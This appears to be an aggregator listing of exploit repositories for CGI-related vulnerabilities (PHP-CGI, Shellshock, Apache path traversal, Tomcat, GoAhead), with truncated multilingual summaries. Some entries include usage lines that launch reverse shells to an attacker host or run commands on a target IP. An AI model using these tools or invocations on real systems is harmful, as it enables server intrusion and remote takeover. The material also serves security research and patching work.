CVE-2024-4577-RCE-ATTACK

PHP CVE-2024-4577-RCE-ATTACK-ATTACK 📜 설명 PHP 8.1.8.1.29 미만, 8.2.8.2.20 미만, 8.3.8.3.8 미만 버전에서 Windows의 Apache 및 PHP-CGI를 사용할 때 시스템이 특정 코드 페이지를 사용하도록 설정된 경우, Windows는 Win32 API 함수에 제공된 명령줄에서 문자를 대체하기 위해 "Best Fit" 동작을 사용할 수 있습니다. PHP CGI 모듈은 해당 문자를 PHP 옵션으로 잘못 해석할 수 있으며, 이로 인해 악의적인 사용자가 실행 중인 PHP...

bash-apocalypse

Bash 아포칼립스 CVE-2014-6271 Shellshock 자동 익스플로잇 툴킷 2014년 수백만 대의 서버에 영향을 준 Shellshock 취약점을 시연하는 완전한 보안 연구 프로젝트입니다. 자동 스캐닝, 익스플로잇 기능 및 방어 권장 사항을 포함합니다. Demo Shellshock이란? Shellshock CVE-2014-6271은 환경 변수 조작을 통해 원격 코드 실행을 허용하는 Bash 셸의 심각한 취약점입니다. 22년 동안 존재하다가 2014년에 발견되었으며, 전 세계 수백만 대의 Unix/Linux 시스템에 영...

CVE-2025-67445

概要 TOTOLINK X5000R V9.1.0cu.2415 の Web 管理インターフェースには、LAN 上の認証されていないリモート攻撃者がセグメンテーションフォルトを介して Web サービスをクラッシュさせることができる脆弱性が存在します。CGI エンドポイントに過大な HTTP POST リクエストを送信することで、攻撃者はメモリ枯渇を引き起こし、サービス拒否 DoS を招く可能性があります。 脆弱性の詳細 この脆弱性は、ファームウェアの Lighttpd 設定においてリクエストサイズが強制されていないことに起因します。具体的には、以下の制限がコメントアウトされています。...

CVE-2019-19945_Test

CVE-2019-19945Test これは最初に提案されたCVEのコードです。 1. Docker をインストール 2. サーバーのビルド＆実行 cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve 3. サーバーコンテナのIPを取得 Linux sudo docker container inspect server | grep -i IPAddress Windows Powershell docker container inspect server |...

CVE-2019-0232_tomcat_cgi_exploit

Apache Tomcat CGI 익스플로잇 스크립트 설명 Apache Tomcat 서버의 CGI 취약점을 악용하여 리버스 셸 연결을 실행하도록 설계된 Python 스크립트입니다. 사용 예시 특징 Apache Tomcat CGI 취약점에 대한 자동화된 익스플로잇 사용자 정의 가능한 대상 및 공격자 매개변수 간단한 명령줄 인터페이스 사전 요구 사항 Python 3.x requests 라이브러리 Netcat nc.exe 리버스 셸을 수신할 리스너에 대한 액세스 설치 root@kitploit: git clone cd pip insta...

Apache-CVE-2021-41773

CVE-2021-41773 Apache HTTP Server Path Traversal 貢献者 이희수@lheeeesoo Apache HTTP Server 2.4.49には、URLパスを正規化する過程でエンコードされた親パスを適切にブロックできない脆弱性が存在します。 攻撃者は.%2eのような値を使用して、ウェブサーバーが公開するように設定したディレクトリの外に移動できます。外部ディレクトリへのアクセスが許可されている環境では、サーバー内部のファイルが漏洩する可能性があり、CGI機能が有効な場合、システムシェルを実行してリモートコマンド実行につながる可能性があります。...

Shellshock_vuln_Exploit

🚨 Shellshock RCE エクスプロイト CVE-2014-6271 これは、GNU Bash に影響を与える Shellshock 脆弱性 CVE-2014-6271 に対する Python エクスプロイトです。このエクスプロイトは、脆弱な Web サーバー上の CGI スクリプト を標的とし、攻撃者のマシンへの リバースシェル を確立します。 CVE ID CVE-2014-6271 Disclaimer このツールは、教育目的および倫理的な目的にのみ 使用されることを意図しています。 Features Shellshock を使用して脆弱な CGI スクリプトを悪用します...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE プロジェクト概要と原理 グローバル初のPHPデフォルト環境（XAMPP）を利用したCVE-2024-4577 PHP-CGI RCE脆弱性のエクスプロイト。 世界初のCVE-2024-4577 PHP-CGI RCEエクスプロイト。デフォルトのPHP環境を利用。オリジナルのエクスプロイトを共有し、SSRFをサポート、WAFバイパスをサポート。 PHPデフォルト環境でRCEを実現。原理：cgi.forceredirect + REDIRECT-STATUS。...

CVE-2021-41773

Apache パストラバーサル & RCE エクスプロイト CVE-2021-41773 & CVE-2021-42013 これらは、Apache HTTP Server 2.4.49 および 2.4.50 に影響を与える重大なパストラバーサル脆弱性です。 これらにより攻撃者は以下を実行できます: Webルート外のファイルへのアクセス LFI CGIが有効な場合のリモートコード実行 RCE の達成 どちらの脆弱性も Apache 2.4.51 で修正済みです 。 直ちにアップグレードすることを強く推奨します。 使い方 root@kitploit: python3 exploit.py...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock リモートコマンドインジェクションツール - クイックリバースシェルとファイル閲覧用 root@kitploit: Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py payload=files...

CVE-2024-4577

CVE-2024-4577 - PHP-CGI 인수 주입 RCE | | ---|---|--- CVE| 설명| CVSSv3 CVE-2024-4577| PHP-CGI 인수 주입 취약점| 9.8 |...

CVE-2017-17562

CVE-2017-17562 RCE GoAhead webサーバ 2.5 3.6.5 CVE-2017-17562 用のスタンドアロンPython 3リバースシェルエクスプロイト。GoAhead Webサーバ バージョン2.5 3.6.5で動作します。 ブログ記事はこちら。 Python 3.7で記述・テスト済み。ベースはこちらのPOCと脆弱性環境。一部のコードはMetasploitモジュールから借用。...

CVE-2026-75160

An issue in X-Serie Gateway Firmware V60005 allows a remote attacker to escalate privileges via the endpoints /cgi-bin/wwwugw.cgi and /cgi-bin/ugwdownload.cgi...

CVE-2024-4577

CVE-2024-4577 概述 CVE-2024-4577 是一个影响以下版本 PHP 服务器的安全漏洞： PHP 8.3.x（8.3.8 及更早版本） PHP 8.2.x（8.2.20 及更早版本） PHP 8.1.x（8.1.29 及更早版本） 所有 8.0 之前的版本 不受支持的 7.x 和 5.x 版本 此漏洞是一个远程代码执行（RCE）缺陷，当在 Windows 服务器上使用 PHP CGI（通用网关接口）时会发生。问题源于由于某些语言设置中使用“最佳匹配”字符映射，导致 Windows 错误解释某些字符。在这种情况下，PHP CGI 模块将恶意字符解释为 PHP...

CVE-2012-1823

PHP CGI参数注入 CVE-2012-1823 描述 sapi/cgi/cgimain.c 在 PHP 5.3.12 之前版本及 5.4.x 版本中（5.4.2 之前），当配置为 CGI 脚本（即 php-cgi）时，未能正确处理缺少 =（等号）字符的查询字符串，这允许远程攻击者通过在查询字符串中放置命令行选项来执行任意 代码，相关问题在于未能跳过针对 'd' 情况的某个 phpgetopt。 用法 root@kitploit: ./phpcgi.sh http:// 示例 root@kitploit: ./phpcgi.sh http://10.128.20.2 "whoami"...

shellshock-victim-host

shellshock-victim-host Shellshock（CVE-2014-6271）に対して脆弱なDockerコンテナ 実行 root@kitploit: podman build -t shellshock-victim . podman run -it -p 80:8080 shellshock-victim 注：dockerでもビルドできます。 脆弱なアプリは以下の場所にデプロイされます。 http://localhost:8080/victim.cgi - 脆弱なエンドポイント http://localhost:8080/safe.cgi - 安全なエンドポイント...

CVE-2021-41773

CVE-2021-41773 CVE-2021-41773 のPOCを開発しました。RCE + cgi-bin パストラバーサルです。 注 : Apache2 2.4.49 でテスト済み 脆弱性のある Apache2 2.4.49 を Docker から直接プルできます root@kitploit: $ sudo docker pull blueteamsteve/cve-2021-41773:no-cgid $ sudo docker run -dit -p 80:80 blueteamsteve/cve-2021-41773:no-cgid http://localhost:80...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell CVE-2021-42013 PoC 리버스 셸 Apache 2.4.50 with CGI 사용법 : root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 추가 정보: root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999...

shellshock-shell

shellshock-shell Shellschok CVE-2014-6271 バグに対する、シンプルな Python シェル風エクスプロイトです。 既知の脆弱性のある URL を攻撃するために使用します。 このツールは、自分が所有する許可された URL に対してのみ使用できます。 このツールの作者は、その使用について一切の責任を負いません。 ファイル名: shellshock.py 作成者: Sagi Levy - [email protected] 作成日: 27/09/2014 Python バージョン: 2.7 使用例: ./shellshock.py -u...

cve-2021-42013

Apache 2.4.50 - パストラバーサルまたはリモートコード実行 CVE-2021-42013.py は、Apache 2.4.50 のパストラバーサルまたはリモートコード実行の脆弱性を発見するのに役立つ Python スクリプトです。CVE-2021-42013 を実際に試すための脆弱な Docker インスタンスも提供されています。 CGI-BIN が有効な場合は、パストラバーサルではなくリモートコード実行が可能です。そのため、パストラバーサルの脆弱性を確認するために、httpd.conf の Alias セクションに "icons" ディレクトリが追加されています。...